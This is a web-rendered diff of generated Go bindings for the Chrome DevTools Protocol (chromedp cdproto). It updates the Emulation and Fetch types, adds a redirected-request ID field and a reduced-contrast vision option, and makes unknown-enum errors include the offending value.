// See: https://chromedevtools.github.io/devtools-protocol/tot/Emulation#type-UserAgentMetadata
|
||||
type UserAgentMetadata struct {
|
||||
Brands []*UserAgentBrandVersion `json:"brands,omitempty"`
|
||||
FullVersionList []*UserAgentBrandVersion `json:"fullVersionList,omitempty"`
|
||||
Brands []*UserAgentBrandVersion `json:"brands,omitempty"` // Brands appearing in Sec-CH-UA.
|
||||
FullVersionList []*UserAgentBrandVersion `json:"fullVersionList,omitempty"` // Brands appearing in Sec-CH-UA-Full-Version-List.
|
||||
Platform string `json:"platform"`
|
||||
PlatformVersion string `json:"platformVersion"`
|
||||
Architecture string `json:"architecture"`
|
||||
@@ -125,7 +126,6 @@ func (t DisabledImageType) String() string {
|
||||
// DisabledImageType values.
|
||||
const (
|
||||
DisabledImageTypeAvif DisabledImageType = "avif"
|
||||
DisabledImageTypeJxl DisabledImageType = "jxl"
|
||||
DisabledImageTypeWebp DisabledImageType = "webp"
|
||||
)
|
||||
|
||||
@@ -141,16 +141,15 @@ func (t DisabledImageType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DisabledImageType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch DisabledImageType(in.String()) {
|
||||
v := in.String()
|
||||
switch DisabledImageType(v) {
|
||||
case DisabledImageTypeAvif:
|
||||
*t = DisabledImageTypeAvif
|
||||
case DisabledImageTypeJxl:
|
||||
*t = DisabledImageTypeJxl
|
||||
case DisabledImageTypeWebp:
|
||||
*t = DisabledImageTypeWebp
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown DisabledImageType value"))
|
||||
in.AddError(fmt.Errorf("unknown DisabledImageType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -189,7 +188,8 @@ func (t OrientationType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *OrientationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch OrientationType(in.String()) {
|
||||
v := in.String()
|
||||
switch OrientationType(v) {
|
||||
case OrientationTypePortraitPrimary:
|
||||
*t = OrientationTypePortraitPrimary
|
||||
case OrientationTypePortraitSecondary:
|
||||
@@ -200,7 +200,7 @@ func (t *OrientationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = OrientationTypeLandscapeSecondary
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown OrientationType value"))
|
||||
in.AddError(fmt.Errorf("unknown OrientationType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -238,14 +238,15 @@ func (t DisplayFeatureOrientation) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *DisplayFeatureOrientation) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch DisplayFeatureOrientation(in.String()) {
|
||||
v := in.String()
|
||||
switch DisplayFeatureOrientation(v) {
|
||||
case DisplayFeatureOrientationVertical:
|
||||
*t = DisplayFeatureOrientationVertical
|
||||
case DisplayFeatureOrientationHorizontal:
|
||||
*t = DisplayFeatureOrientationHorizontal
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown DisplayFeatureOrientation value"))
|
||||
in.AddError(fmt.Errorf("unknown DisplayFeatureOrientation value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -283,14 +284,15 @@ func (t SetEmitTouchEventsForMouseConfiguration) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetEmitTouchEventsForMouseConfiguration) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SetEmitTouchEventsForMouseConfiguration(in.String()) {
|
||||
v := in.String()
|
||||
switch SetEmitTouchEventsForMouseConfiguration(v) {
|
||||
case SetEmitTouchEventsForMouseConfigurationMobile:
|
||||
*t = SetEmitTouchEventsForMouseConfigurationMobile
|
||||
case SetEmitTouchEventsForMouseConfigurationDesktop:
|
||||
*t = SetEmitTouchEventsForMouseConfigurationDesktop
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SetEmitTouchEventsForMouseConfiguration value"))
|
||||
in.AddError(fmt.Errorf("unknown SetEmitTouchEventsForMouseConfiguration value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -299,7 +301,9 @@ func (t *SetEmitTouchEventsForMouseConfiguration) UnmarshalJSON(buf []byte) erro
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// SetEmulatedVisionDeficiencyType vision deficiency to emulate.
|
||||
// SetEmulatedVisionDeficiencyType vision deficiency to emulate. Order:
|
||||
// best-effort emulations come first, followed by any physiologically accurate
|
||||
// emulations for medically recognized color vision deficiencies.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Emulation#method-setEmulatedVisionDeficiency
|
||||
type SetEmulatedVisionDeficiencyType string
|
||||
@@ -311,12 +315,13 @@ func (t SetEmulatedVisionDeficiencyType) String() string {
|
||||
|
||||
// SetEmulatedVisionDeficiencyType values.
|
||||
const (
|
||||
SetEmulatedVisionDeficiencyTypeNone SetEmulatedVisionDeficiencyType = "none"
|
||||
SetEmulatedVisionDeficiencyTypeAchromatopsia SetEmulatedVisionDeficiencyType = "achromatopsia"
|
||||
SetEmulatedVisionDeficiencyTypeBlurredVision SetEmulatedVisionDeficiencyType = "blurredVision"
|
||||
SetEmulatedVisionDeficiencyTypeDeuteranopia SetEmulatedVisionDeficiencyType = "deuteranopia"
|
||||
SetEmulatedVisionDeficiencyTypeProtanopia SetEmulatedVisionDeficiencyType = "protanopia"
|
||||
SetEmulatedVisionDeficiencyTypeTritanopia SetEmulatedVisionDeficiencyType = "tritanopia"
|
||||
SetEmulatedVisionDeficiencyTypeNone SetEmulatedVisionDeficiencyType = "none"
|
||||
SetEmulatedVisionDeficiencyTypeBlurredVision SetEmulatedVisionDeficiencyType = "blurredVision"
|
||||
SetEmulatedVisionDeficiencyTypeReducedContrast SetEmulatedVisionDeficiencyType = "reducedContrast"
|
||||
SetEmulatedVisionDeficiencyTypeAchromatopsia SetEmulatedVisionDeficiencyType = "achromatopsia"
|
||||
SetEmulatedVisionDeficiencyTypeDeuteranopia SetEmulatedVisionDeficiencyType = "deuteranopia"
|
||||
SetEmulatedVisionDeficiencyTypeProtanopia SetEmulatedVisionDeficiencyType = "protanopia"
|
||||
SetEmulatedVisionDeficiencyTypeTritanopia SetEmulatedVisionDeficiencyType = "tritanopia"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -331,13 +336,16 @@ func (t SetEmulatedVisionDeficiencyType) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *SetEmulatedVisionDeficiencyType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch SetEmulatedVisionDeficiencyType(in.String()) {
|
||||
v := in.String()
|
||||
switch SetEmulatedVisionDeficiencyType(v) {
|
||||
case SetEmulatedVisionDeficiencyTypeNone:
|
||||
*t = SetEmulatedVisionDeficiencyTypeNone
|
||||
case SetEmulatedVisionDeficiencyTypeAchromatopsia:
|
||||
*t = SetEmulatedVisionDeficiencyTypeAchromatopsia
|
||||
case SetEmulatedVisionDeficiencyTypeBlurredVision:
|
||||
*t = SetEmulatedVisionDeficiencyTypeBlurredVision
|
||||
case SetEmulatedVisionDeficiencyTypeReducedContrast:
|
||||
*t = SetEmulatedVisionDeficiencyTypeReducedContrast
|
||||
case SetEmulatedVisionDeficiencyTypeAchromatopsia:
|
||||
*t = SetEmulatedVisionDeficiencyTypeAchromatopsia
|
||||
case SetEmulatedVisionDeficiencyTypeDeuteranopia:
|
||||
*t = SetEmulatedVisionDeficiencyTypeDeuteranopia
|
||||
case SetEmulatedVisionDeficiencyTypeProtanopia:
|
||||
@@ -346,7 +354,7 @@ func (t *SetEmulatedVisionDeficiencyType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = SetEmulatedVisionDeficiencyTypeTritanopia
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown SetEmulatedVisionDeficiencyType value"))
|
||||
in.AddError(fmt.Errorf("unknown SetEmulatedVisionDeficiencyType value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
+8
-1
@@ -750,7 +750,9 @@ func easyjsonC5a4559bDecodeGithubComChromedpCdprotoFetch8(in *jlexer.Lexer, out
|
||||
in.Delim(']')
|
||||
}
|
||||
case "networkId":
|
||||
out.NetworkID = RequestID(in.String())
|
||||
out.NetworkID = network.RequestID(in.String())
|
||||
case "redirectedRequestId":
|
||||
out.RedirectedRequestID = RequestID(in.String())
|
||||
default:
|
||||
in.SkipRecursive()
|
||||
}
|
||||
@@ -827,6 +829,11 @@ func easyjsonC5a4559bEncodeGithubComChromedpCdprotoFetch8(out *jwriter.Writer, i
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.NetworkID))
|
||||
}
|
||||
if in.RedirectedRequestID != "" {
|
||||
const prefix string = ",\"redirectedRequestId\":"
|
||||
out.RawString(prefix)
|
||||
out.String(string(in.RedirectedRequestID))
|
||||
}
|
||||
out.RawByte('}')
|
||||
}
|
||||
|
||||
|
||||
+2
-1
@@ -24,7 +24,8 @@ type EventRequestPaused struct {
|
||||
ResponseStatusCode int64 `json:"responseStatusCode,omitempty"` // Response code if intercepted at response stage.
|
||||
ResponseStatusText string `json:"responseStatusText,omitempty"` // Response status text if intercepted at response stage.
|
||||
ResponseHeaders []*HeaderEntry `json:"responseHeaders,omitempty"` // Response headers if intercepted at the response stage.
|
||||
NetworkID RequestID `json:"networkId,omitempty"` // If the intercepted request had a corresponding Network.requestWillBeSent event fired for it, then this networkId will be the same as the requestId present in the requestWillBeSent event.
|
||||
NetworkID network.RequestID `json:"networkId,omitempty"` // If the intercepted request had a corresponding Network.requestWillBeSent event fired for it, then this networkId will be the same as the requestId present in the requestWillBeSent event.
|
||||
RedirectedRequestID RequestID `json:"redirectedRequestId,omitempty"` // If the request is due to a redirect response from the server, the id of the request that has caused the redirect.
|
||||
}
|
||||
|
||||
// EventAuthRequired issued when the domain is enabled with
|
||||
|
||||
+4
-2
@@ -165,7 +165,7 @@ type ContinueRequestParams struct {
|
||||
URL string `json:"url,omitempty"` // If set, the request url will be modified in a way that's not observable by page.
|
||||
Method string `json:"method,omitempty"` // If set, the request method is overridden.
|
||||
PostData string `json:"postData,omitempty"` // If set, overrides the post data in the request.
|
||||
Headers []*HeaderEntry `json:"headers,omitempty"` // If set, overrides the request headers.
|
||||
Headers []*HeaderEntry `json:"headers,omitempty"` // If set, overrides the request headers. Note that the overrides do not extend to subsequent redirect hops, if a redirect happens. Another override may be applied to a different request produced by a redirect.
|
||||
InterceptResponse bool `json:"interceptResponse,omitempty"` // If set, overrides response interception behavior for this request.
|
||||
}
|
||||
|
||||
@@ -202,7 +202,9 @@ func (p ContinueRequestParams) WithPostData(postData string) *ContinueRequestPar
|
||||
return &p
|
||||
}
|
||||
|
||||
// WithHeaders if set, overrides the request headers.
|
||||
// WithHeaders if set, overrides the request headers. Note that the overrides
|
||||
// do not extend to subsequent redirect hops, if a redirect happens. Another
|
||||
// override may be applied to a different request produced by a redirect.
|
||||
func (p ContinueRequestParams) WithHeaders(headers []*HeaderEntry) *ContinueRequestParams {
|
||||
p.Headers = headers
|
||||
return &p
|
||||
|
||||
+10
-7
@@ -3,7 +3,7 @@ package fetch
|
||||
// Code generated by cdproto-gen. DO NOT EDIT.
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"github.com/chromedp/cdproto/network"
|
||||
"github.com/mailru/easyjson"
|
||||
@@ -51,14 +51,15 @@ func (t RequestStage) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *RequestStage) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch RequestStage(in.String()) {
|
||||
v := in.String()
|
||||
switch RequestStage(v) {
|
||||
case RequestStageRequest:
|
||||
*t = RequestStageRequest
|
||||
case RequestStageResponse:
|
||||
*t = RequestStageResponse
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown RequestStage value"))
|
||||
in.AddError(fmt.Errorf("unknown RequestStage value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -131,14 +132,15 @@ func (t AuthChallengeSource) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AuthChallengeSource) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch AuthChallengeSource(in.String()) {
|
||||
v := in.String()
|
||||
switch AuthChallengeSource(v) {
|
||||
case AuthChallengeSourceServer:
|
||||
*t = AuthChallengeSourceServer
|
||||
case AuthChallengeSourceProxy:
|
||||
*t = AuthChallengeSourceProxy
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown AuthChallengeSource value"))
|
||||
in.AddError(fmt.Errorf("unknown AuthChallengeSource value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -179,7 +181,8 @@ func (t AuthChallengeResponseResponse) MarshalJSON() ([]byte, error) {
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *AuthChallengeResponseResponse) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
switch AuthChallengeResponseResponse(in.String()) {
|
||||
v := in.String()
|
||||
switch AuthChallengeResponseResponse(v) {
|
||||
case AuthChallengeResponseResponseDefault:
|
||||
*t = AuthChallengeResponseResponseDefault
|
||||
case AuthChallengeResponseResponseCancelAuth:
|
||||
@@ -188,7 +191,7 @@ func (t *AuthChallengeResponseResponse) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = AuthChallengeResponseResponseProvideCredentials
|
||||
|
||||
default:
|
||||
in.AddError(errors.New("unknown AuthChallengeResponseResponse value"))
|
||||
in.AddError(fmt.Errorf("unknown AuthChallengeResponseResponse value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
Loaded 100 of 1288 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user